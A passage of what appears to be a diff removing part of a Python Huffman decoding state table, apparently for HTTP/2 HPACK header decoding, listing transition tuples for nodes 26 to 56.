HUFFMAN_EMIT_SYMBOL, 95), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 95), - (2, HUFFMAN_EMIT_SYMBOL, 98), - (9, HUFFMAN_EMIT_SYMBOL, 98), - (23, HUFFMAN_EMIT_SYMBOL, 98), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 98), - - # Node 26 - (3, HUFFMAN_EMIT_SYMBOL, 61), - (6, HUFFMAN_EMIT_SYMBOL, 61), - (10, HUFFMAN_EMIT_SYMBOL, 61), - (15, HUFFMAN_EMIT_SYMBOL, 61), - (24, HUFFMAN_EMIT_SYMBOL, 61), - (31, HUFFMAN_EMIT_SYMBOL, 61), - (41, HUFFMAN_EMIT_SYMBOL, 61), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 61), - (3, HUFFMAN_EMIT_SYMBOL, 65), - (6, HUFFMAN_EMIT_SYMBOL, 65), - (10, HUFFMAN_EMIT_SYMBOL, 65), - (15, HUFFMAN_EMIT_SYMBOL, 65), - (24, HUFFMAN_EMIT_SYMBOL, 65), - (31, HUFFMAN_EMIT_SYMBOL, 65), - (41, HUFFMAN_EMIT_SYMBOL, 65), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 65), - - # Node 27 - (3, HUFFMAN_EMIT_SYMBOL, 95), - (6, HUFFMAN_EMIT_SYMBOL, 95), - (10, HUFFMAN_EMIT_SYMBOL, 95), - (15, HUFFMAN_EMIT_SYMBOL, 95), - (24, HUFFMAN_EMIT_SYMBOL, 95), - (31, HUFFMAN_EMIT_SYMBOL, 95), - (41, HUFFMAN_EMIT_SYMBOL, 95), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 95), - (3, HUFFMAN_EMIT_SYMBOL, 98), - (6, HUFFMAN_EMIT_SYMBOL, 98), - (10, HUFFMAN_EMIT_SYMBOL, 98), - (15, HUFFMAN_EMIT_SYMBOL, 98), - (24, HUFFMAN_EMIT_SYMBOL, 98), - (31, HUFFMAN_EMIT_SYMBOL, 98), - (41, HUFFMAN_EMIT_SYMBOL, 98), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 98), - - # Node 28 - (2, HUFFMAN_EMIT_SYMBOL, 100), - (9, HUFFMAN_EMIT_SYMBOL, 100), - (23, HUFFMAN_EMIT_SYMBOL, 100), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 100), - (2, HUFFMAN_EMIT_SYMBOL, 102), - (9, HUFFMAN_EMIT_SYMBOL, 102), - (23, HUFFMAN_EMIT_SYMBOL, 102), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 102), - (2, HUFFMAN_EMIT_SYMBOL, 103), - (9, HUFFMAN_EMIT_SYMBOL, 103), - (23, HUFFMAN_EMIT_SYMBOL, 103), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 103), - (2, HUFFMAN_EMIT_SYMBOL, 104), - (9, HUFFMAN_EMIT_SYMBOL, 104), - (23, HUFFMAN_EMIT_SYMBOL, 104), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 104), - - # Node 29 - (3, HUFFMAN_EMIT_SYMBOL, 100), - (6, HUFFMAN_EMIT_SYMBOL, 100), - (10, HUFFMAN_EMIT_SYMBOL, 100), - (15, HUFFMAN_EMIT_SYMBOL, 100), - (24, HUFFMAN_EMIT_SYMBOL, 100), - (31, HUFFMAN_EMIT_SYMBOL, 100), - (41, HUFFMAN_EMIT_SYMBOL, 100), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 100), - (3, HUFFMAN_EMIT_SYMBOL, 102), - (6, HUFFMAN_EMIT_SYMBOL, 102), - (10, HUFFMAN_EMIT_SYMBOL, 102), - (15, HUFFMAN_EMIT_SYMBOL, 102), - (24, HUFFMAN_EMIT_SYMBOL, 102), - (31, HUFFMAN_EMIT_SYMBOL, 102), - (41, HUFFMAN_EMIT_SYMBOL, 102), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 102), - - # Node 30 - (3, HUFFMAN_EMIT_SYMBOL, 103), - (6, HUFFMAN_EMIT_SYMBOL, 103), - (10, HUFFMAN_EMIT_SYMBOL, 103), - (15, HUFFMAN_EMIT_SYMBOL, 103), - (24, HUFFMAN_EMIT_SYMBOL, 103), - (31, HUFFMAN_EMIT_SYMBOL, 103), - (41, HUFFMAN_EMIT_SYMBOL, 103), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 103), - (3, HUFFMAN_EMIT_SYMBOL, 104), - (6, HUFFMAN_EMIT_SYMBOL, 104), - (10, HUFFMAN_EMIT_SYMBOL, 104), - (15, HUFFMAN_EMIT_SYMBOL, 104), - (24, HUFFMAN_EMIT_SYMBOL, 104), - (31, HUFFMAN_EMIT_SYMBOL, 104), - (41, HUFFMAN_EMIT_SYMBOL, 104), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 104), - - # Node 31 - (1, HUFFMAN_EMIT_SYMBOL, 108), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 108), - (1, HUFFMAN_EMIT_SYMBOL, 109), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 109), - (1, HUFFMAN_EMIT_SYMBOL, 110), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 110), - (1, HUFFMAN_EMIT_SYMBOL, 112), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 112), - (1, HUFFMAN_EMIT_SYMBOL, 114), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 114), - (1, HUFFMAN_EMIT_SYMBOL, 117), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 117), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 58), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 66), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 67), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 68), - - # Node 32 - (2, HUFFMAN_EMIT_SYMBOL, 108), - (9, HUFFMAN_EMIT_SYMBOL, 108), - (23, HUFFMAN_EMIT_SYMBOL, 108), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 108), - (2, HUFFMAN_EMIT_SYMBOL, 109), - (9, HUFFMAN_EMIT_SYMBOL, 109), - (23, HUFFMAN_EMIT_SYMBOL, 109), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 109), - (2, HUFFMAN_EMIT_SYMBOL, 110), - (9, HUFFMAN_EMIT_SYMBOL, 110), - (23, HUFFMAN_EMIT_SYMBOL, 110), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 110), - (2, HUFFMAN_EMIT_SYMBOL, 112), - (9, HUFFMAN_EMIT_SYMBOL, 112), - (23, HUFFMAN_EMIT_SYMBOL, 112), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 112), - - # Node 33 - (3, HUFFMAN_EMIT_SYMBOL, 108), - (6, HUFFMAN_EMIT_SYMBOL, 108), - (10, HUFFMAN_EMIT_SYMBOL, 108), - (15, HUFFMAN_EMIT_SYMBOL, 108), - (24, HUFFMAN_EMIT_SYMBOL, 108), - (31, HUFFMAN_EMIT_SYMBOL, 108), - (41, HUFFMAN_EMIT_SYMBOL, 108), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 108), - (3, HUFFMAN_EMIT_SYMBOL, 109), - (6, HUFFMAN_EMIT_SYMBOL, 109), - (10, HUFFMAN_EMIT_SYMBOL, 109), - (15, HUFFMAN_EMIT_SYMBOL, 109), - (24, HUFFMAN_EMIT_SYMBOL, 109), - (31, HUFFMAN_EMIT_SYMBOL, 109), - (41, HUFFMAN_EMIT_SYMBOL, 109), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 109), - - # Node 34 - (3, HUFFMAN_EMIT_SYMBOL, 110), - (6, HUFFMAN_EMIT_SYMBOL, 110), - (10, HUFFMAN_EMIT_SYMBOL, 110), - (15, HUFFMAN_EMIT_SYMBOL, 110), - (24, HUFFMAN_EMIT_SYMBOL, 110), - (31, HUFFMAN_EMIT_SYMBOL, 110), - (41, HUFFMAN_EMIT_SYMBOL, 110), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 110), - (3, HUFFMAN_EMIT_SYMBOL, 112), - (6, HUFFMAN_EMIT_SYMBOL, 112), - (10, HUFFMAN_EMIT_SYMBOL, 112), - (15, HUFFMAN_EMIT_SYMBOL, 112), - (24, HUFFMAN_EMIT_SYMBOL, 112), - (31, HUFFMAN_EMIT_SYMBOL, 112), - (41, HUFFMAN_EMIT_SYMBOL, 112), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 112), - - # Node 35 - (2, HUFFMAN_EMIT_SYMBOL, 114), - (9, HUFFMAN_EMIT_SYMBOL, 114), - (23, HUFFMAN_EMIT_SYMBOL, 114), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 114), - (2, HUFFMAN_EMIT_SYMBOL, 117), - (9, HUFFMAN_EMIT_SYMBOL, 117), - (23, HUFFMAN_EMIT_SYMBOL, 117), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 117), - (1, HUFFMAN_EMIT_SYMBOL, 58), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 58), - (1, HUFFMAN_EMIT_SYMBOL, 66), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 66), - (1, HUFFMAN_EMIT_SYMBOL, 67), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 67), - (1, HUFFMAN_EMIT_SYMBOL, 68), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 68), - - # Node 36 - (3, HUFFMAN_EMIT_SYMBOL, 114), - (6, HUFFMAN_EMIT_SYMBOL, 114), - (10, HUFFMAN_EMIT_SYMBOL, 114), - (15, HUFFMAN_EMIT_SYMBOL, 114), - (24, HUFFMAN_EMIT_SYMBOL, 114), - (31, HUFFMAN_EMIT_SYMBOL, 114), - (41, HUFFMAN_EMIT_SYMBOL, 114), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 114), - (3, HUFFMAN_EMIT_SYMBOL, 117), - (6, HUFFMAN_EMIT_SYMBOL, 117), - (10, HUFFMAN_EMIT_SYMBOL, 117), - (15, HUFFMAN_EMIT_SYMBOL, 117), - (24, HUFFMAN_EMIT_SYMBOL, 117), - (31, HUFFMAN_EMIT_SYMBOL, 117), - (41, HUFFMAN_EMIT_SYMBOL, 117), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 117), - - # Node 37 - (2, HUFFMAN_EMIT_SYMBOL, 58), - (9, HUFFMAN_EMIT_SYMBOL, 58), - (23, HUFFMAN_EMIT_SYMBOL, 58), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 58), - (2, HUFFMAN_EMIT_SYMBOL, 66), - (9, HUFFMAN_EMIT_SYMBOL, 66), - (23, HUFFMAN_EMIT_SYMBOL, 66), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 66), - (2, HUFFMAN_EMIT_SYMBOL, 67), - (9, HUFFMAN_EMIT_SYMBOL, 67), - (23, HUFFMAN_EMIT_SYMBOL, 67), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 67), - (2, HUFFMAN_EMIT_SYMBOL, 68), - (9, HUFFMAN_EMIT_SYMBOL, 68), - (23, HUFFMAN_EMIT_SYMBOL, 68), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 68), - - # Node 38 - (3, HUFFMAN_EMIT_SYMBOL, 58), - (6, HUFFMAN_EMIT_SYMBOL, 58), - (10, HUFFMAN_EMIT_SYMBOL, 58), - (15, HUFFMAN_EMIT_SYMBOL, 58), - (24, HUFFMAN_EMIT_SYMBOL, 58), - (31, HUFFMAN_EMIT_SYMBOL, 58), - (41, HUFFMAN_EMIT_SYMBOL, 58), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 58), - (3, HUFFMAN_EMIT_SYMBOL, 66), - (6, HUFFMAN_EMIT_SYMBOL, 66), - (10, HUFFMAN_EMIT_SYMBOL, 66), - (15, HUFFMAN_EMIT_SYMBOL, 66), - (24, HUFFMAN_EMIT_SYMBOL, 66), - (31, HUFFMAN_EMIT_SYMBOL, 66), - (41, HUFFMAN_EMIT_SYMBOL, 66), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 66), - - # Node 39 - (3, HUFFMAN_EMIT_SYMBOL, 67), - (6, HUFFMAN_EMIT_SYMBOL, 67), - (10, HUFFMAN_EMIT_SYMBOL, 67), - (15, HUFFMAN_EMIT_SYMBOL, 67), - (24, HUFFMAN_EMIT_SYMBOL, 67), - (31, HUFFMAN_EMIT_SYMBOL, 67), - (41, HUFFMAN_EMIT_SYMBOL, 67), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 67), - (3, HUFFMAN_EMIT_SYMBOL, 68), - (6, HUFFMAN_EMIT_SYMBOL, 68), - (10, HUFFMAN_EMIT_SYMBOL, 68), - (15, HUFFMAN_EMIT_SYMBOL, 68), - (24, HUFFMAN_EMIT_SYMBOL, 68), - (31, HUFFMAN_EMIT_SYMBOL, 68), - (41, HUFFMAN_EMIT_SYMBOL, 68), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 68), - - # Node 40 - (44, 0, 0), - (45, 0, 0), - (47, 0, 0), - (48, 0, 0), - (51, 0, 0), - (52, 0, 0), - (54, 0, 0), - (55, 0, 0), - (59, 0, 0), - (60, 0, 0), - (62, 0, 0), - (63, 0, 0), - (66, 0, 0), - (67, 0, 0), - (69, 0, 0), - (72, HUFFMAN_COMPLETE, 0), - - # Node 41 - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 69), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 70), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 71), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 72), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 73), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 74), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 75), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 76), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 77), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 78), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 79), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 80), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 81), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 82), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 83), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 84), - - # Node 42 - (1, HUFFMAN_EMIT_SYMBOL, 69), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 69), - (1, HUFFMAN_EMIT_SYMBOL, 70), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 70), - (1, HUFFMAN_EMIT_SYMBOL, 71), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 71), - (1, HUFFMAN_EMIT_SYMBOL, 72), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 72), - (1, HUFFMAN_EMIT_SYMBOL, 73), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 73), - (1, HUFFMAN_EMIT_SYMBOL, 74), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 74), - (1, HUFFMAN_EMIT_SYMBOL, 75), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 75), - (1, HUFFMAN_EMIT_SYMBOL, 76), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 76), - - # Node 43 - (2, HUFFMAN_EMIT_SYMBOL, 69), - (9, HUFFMAN_EMIT_SYMBOL, 69), - (23, HUFFMAN_EMIT_SYMBOL, 69), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 69), - (2, HUFFMAN_EMIT_SYMBOL, 70), - (9, HUFFMAN_EMIT_SYMBOL, 70), - (23, HUFFMAN_EMIT_SYMBOL, 70), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 70), - (2, HUFFMAN_EMIT_SYMBOL, 71), - (9, HUFFMAN_EMIT_SYMBOL, 71), - (23, HUFFMAN_EMIT_SYMBOL, 71), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 71), - (2, HUFFMAN_EMIT_SYMBOL, 72), - (9, HUFFMAN_EMIT_SYMBOL, 72), - (23, HUFFMAN_EMIT_SYMBOL, 72), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 72), - - # Node 44 - (3, HUFFMAN_EMIT_SYMBOL, 69), - (6, HUFFMAN_EMIT_SYMBOL, 69), - (10, HUFFMAN_EMIT_SYMBOL, 69), - (15, HUFFMAN_EMIT_SYMBOL, 69), - (24, HUFFMAN_EMIT_SYMBOL, 69), - (31, HUFFMAN_EMIT_SYMBOL, 69), - (41, HUFFMAN_EMIT_SYMBOL, 69), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 69), - (3, HUFFMAN_EMIT_SYMBOL, 70), - (6, HUFFMAN_EMIT_SYMBOL, 70), - (10, HUFFMAN_EMIT_SYMBOL, 70), - (15, HUFFMAN_EMIT_SYMBOL, 70), - (24, HUFFMAN_EMIT_SYMBOL, 70), - (31, HUFFMAN_EMIT_SYMBOL, 70), - (41, HUFFMAN_EMIT_SYMBOL, 70), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 70), - - # Node 45 - (3, HUFFMAN_EMIT_SYMBOL, 71), - (6, HUFFMAN_EMIT_SYMBOL, 71), - (10, HUFFMAN_EMIT_SYMBOL, 71), - (15, HUFFMAN_EMIT_SYMBOL, 71), - (24, HUFFMAN_EMIT_SYMBOL, 71), - (31, HUFFMAN_EMIT_SYMBOL, 71), - (41, HUFFMAN_EMIT_SYMBOL, 71), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 71), - (3, HUFFMAN_EMIT_SYMBOL, 72), - (6, HUFFMAN_EMIT_SYMBOL, 72), - (10, HUFFMAN_EMIT_SYMBOL, 72), - (15, HUFFMAN_EMIT_SYMBOL, 72), - (24, HUFFMAN_EMIT_SYMBOL, 72), - (31, HUFFMAN_EMIT_SYMBOL, 72), - (41, HUFFMAN_EMIT_SYMBOL, 72), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 72), - - # Node 46 - (2, HUFFMAN_EMIT_SYMBOL, 73), - (9, HUFFMAN_EMIT_SYMBOL, 73), - (23, HUFFMAN_EMIT_SYMBOL, 73), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 73), - (2, HUFFMAN_EMIT_SYMBOL, 74), - (9, HUFFMAN_EMIT_SYMBOL, 74), - (23, HUFFMAN_EMIT_SYMBOL, 74), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 74), - (2, HUFFMAN_EMIT_SYMBOL, 75), - (9, HUFFMAN_EMIT_SYMBOL, 75), - (23, HUFFMAN_EMIT_SYMBOL, 75), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 75), - (2, HUFFMAN_EMIT_SYMBOL, 76), - (9, HUFFMAN_EMIT_SYMBOL, 76), - (23, HUFFMAN_EMIT_SYMBOL, 76), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 76), - - # Node 47 - (3, HUFFMAN_EMIT_SYMBOL, 73), - (6, HUFFMAN_EMIT_SYMBOL, 73), - (10, HUFFMAN_EMIT_SYMBOL, 73), - (15, HUFFMAN_EMIT_SYMBOL, 73), - (24, HUFFMAN_EMIT_SYMBOL, 73), - (31, HUFFMAN_EMIT_SYMBOL, 73), - (41, HUFFMAN_EMIT_SYMBOL, 73), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 73), - (3, HUFFMAN_EMIT_SYMBOL, 74), - (6, HUFFMAN_EMIT_SYMBOL, 74), - (10, HUFFMAN_EMIT_SYMBOL, 74), - (15, HUFFMAN_EMIT_SYMBOL, 74), - (24, HUFFMAN_EMIT_SYMBOL, 74), - (31, HUFFMAN_EMIT_SYMBOL, 74), - (41, HUFFMAN_EMIT_SYMBOL, 74), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 74), - - # Node 48 - (3, HUFFMAN_EMIT_SYMBOL, 75), - (6, HUFFMAN_EMIT_SYMBOL, 75), - (10, HUFFMAN_EMIT_SYMBOL, 75), - (15, HUFFMAN_EMIT_SYMBOL, 75), - (24, HUFFMAN_EMIT_SYMBOL, 75), - (31, HUFFMAN_EMIT_SYMBOL, 75), - (41, HUFFMAN_EMIT_SYMBOL, 75), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 75), - (3, HUFFMAN_EMIT_SYMBOL, 76), - (6, HUFFMAN_EMIT_SYMBOL, 76), - (10, HUFFMAN_EMIT_SYMBOL, 76), - (15, HUFFMAN_EMIT_SYMBOL, 76), - (24, HUFFMAN_EMIT_SYMBOL, 76), - (31, HUFFMAN_EMIT_SYMBOL, 76), - (41, HUFFMAN_EMIT_SYMBOL, 76), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 76), - - # Node 49 - (1, HUFFMAN_EMIT_SYMBOL, 77), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 77), - (1, HUFFMAN_EMIT_SYMBOL, 78), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 78), - (1, HUFFMAN_EMIT_SYMBOL, 79), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 79), - (1, HUFFMAN_EMIT_SYMBOL, 80), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 80), - (1, HUFFMAN_EMIT_SYMBOL, 81), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 81), - (1, HUFFMAN_EMIT_SYMBOL, 82), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 82), - (1, HUFFMAN_EMIT_SYMBOL, 83), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 83), - (1, HUFFMAN_EMIT_SYMBOL, 84), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 84), - - # Node 50 - (2, HUFFMAN_EMIT_SYMBOL, 77), - (9, HUFFMAN_EMIT_SYMBOL, 77), - (23, HUFFMAN_EMIT_SYMBOL, 77), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 77), - (2, HUFFMAN_EMIT_SYMBOL, 78), - (9, HUFFMAN_EMIT_SYMBOL, 78), - (23, HUFFMAN_EMIT_SYMBOL, 78), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 78), - (2, HUFFMAN_EMIT_SYMBOL, 79), - (9, HUFFMAN_EMIT_SYMBOL, 79), - (23, HUFFMAN_EMIT_SYMBOL, 79), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 79), - (2, HUFFMAN_EMIT_SYMBOL, 80), - (9, HUFFMAN_EMIT_SYMBOL, 80), - (23, HUFFMAN_EMIT_SYMBOL, 80), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 80), - - # Node 51 - (3, HUFFMAN_EMIT_SYMBOL, 77), - (6, HUFFMAN_EMIT_SYMBOL, 77), - (10, HUFFMAN_EMIT_SYMBOL, 77), - (15, HUFFMAN_EMIT_SYMBOL, 77), - (24, HUFFMAN_EMIT_SYMBOL, 77), - (31, HUFFMAN_EMIT_SYMBOL, 77), - (41, HUFFMAN_EMIT_SYMBOL, 77), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 77), - (3, HUFFMAN_EMIT_SYMBOL, 78), - (6, HUFFMAN_EMIT_SYMBOL, 78), - (10, HUFFMAN_EMIT_SYMBOL, 78), - (15, HUFFMAN_EMIT_SYMBOL, 78), - (24, HUFFMAN_EMIT_SYMBOL, 78), - (31, HUFFMAN_EMIT_SYMBOL, 78), - (41, HUFFMAN_EMIT_SYMBOL, 78), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 78), - - # Node 52 - (3, HUFFMAN_EMIT_SYMBOL, 79), - (6, HUFFMAN_EMIT_SYMBOL, 79), - (10, HUFFMAN_EMIT_SYMBOL, 79), - (15, HUFFMAN_EMIT_SYMBOL, 79), - (24, HUFFMAN_EMIT_SYMBOL, 79), - (31, HUFFMAN_EMIT_SYMBOL, 79), - (41, HUFFMAN_EMIT_SYMBOL, 79), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 79), - (3, HUFFMAN_EMIT_SYMBOL, 80), - (6, HUFFMAN_EMIT_SYMBOL, 80), - (10, HUFFMAN_EMIT_SYMBOL, 80), - (15, HUFFMAN_EMIT_SYMBOL, 80), - (24, HUFFMAN_EMIT_SYMBOL, 80), - (31, HUFFMAN_EMIT_SYMBOL, 80), - (41, HUFFMAN_EMIT_SYMBOL, 80), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 80), - - # Node 53 - (2, HUFFMAN_EMIT_SYMBOL, 81), - (9, HUFFMAN_EMIT_SYMBOL, 81), - (23, HUFFMAN_EMIT_SYMBOL, 81), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 81), - (2, HUFFMAN_EMIT_SYMBOL, 82), - (9, HUFFMAN_EMIT_SYMBOL, 82), - (23, HUFFMAN_EMIT_SYMBOL, 82), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 82), - (2, HUFFMAN_EMIT_SYMBOL, 83), - (9, HUFFMAN_EMIT_SYMBOL, 83), - (23, HUFFMAN_EMIT_SYMBOL, 83), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 83), - (2, HUFFMAN_EMIT_SYMBOL, 84), - (9, HUFFMAN_EMIT_SYMBOL, 84), - (23, HUFFMAN_EMIT_SYMBOL, 84), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 84), - - # Node 54 - (3, HUFFMAN_EMIT_SYMBOL, 81), - (6, HUFFMAN_EMIT_SYMBOL, 81), - (10, HUFFMAN_EMIT_SYMBOL, 81), - (15, HUFFMAN_EMIT_SYMBOL, 81), - (24, HUFFMAN_EMIT_SYMBOL, 81), - (31, HUFFMAN_EMIT_SYMBOL, 81), - (41, HUFFMAN_EMIT_SYMBOL, 81), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 81), - (3, HUFFMAN_EMIT_SYMBOL, 82), - (6, HUFFMAN_EMIT_SYMBOL, 82), - (10, HUFFMAN_EMIT_SYMBOL, 82), - (15, HUFFMAN_EMIT_SYMBOL, 82), - (24, HUFFMAN_EMIT_SYMBOL, 82), - (31, HUFFMAN_EMIT_SYMBOL, 82), - (41, HUFFMAN_EMIT_SYMBOL, 82), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 82), - - # Node 55 - (3, HUFFMAN_EMIT_SYMBOL, 83), - (6, HUFFMAN_EMIT_SYMBOL, 83), - (10, HUFFMAN_EMIT_SYMBOL, 83), - (15, HUFFMAN_EMIT_SYMBOL, 83), - (24, HUFFMAN_EMIT_SYMBOL, 83), - (31, HUFFMAN_EMIT_SYMBOL, 83), - (41, HUFFMAN_EMIT_SYMBOL, 83), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 83), - (3, HUFFMAN_EMIT_SYMBOL, 84), - (6, HUFFMAN_EMIT_SYMBOL, 84), - (10, HUFFMAN_EMIT_SYMBOL, 84), - (15, HUFFMAN_EMIT_SYMBOL, 84), - (24, HUFFMAN_EMIT_SYMBOL, 84), - (31, HUFFMAN_EMIT_SYMBOL, 84), - (41, HUFFMAN_EMIT_SYMBOL, 84), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 84), - - # Node 56 - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 85), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 86), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 87), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 89), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 106), - 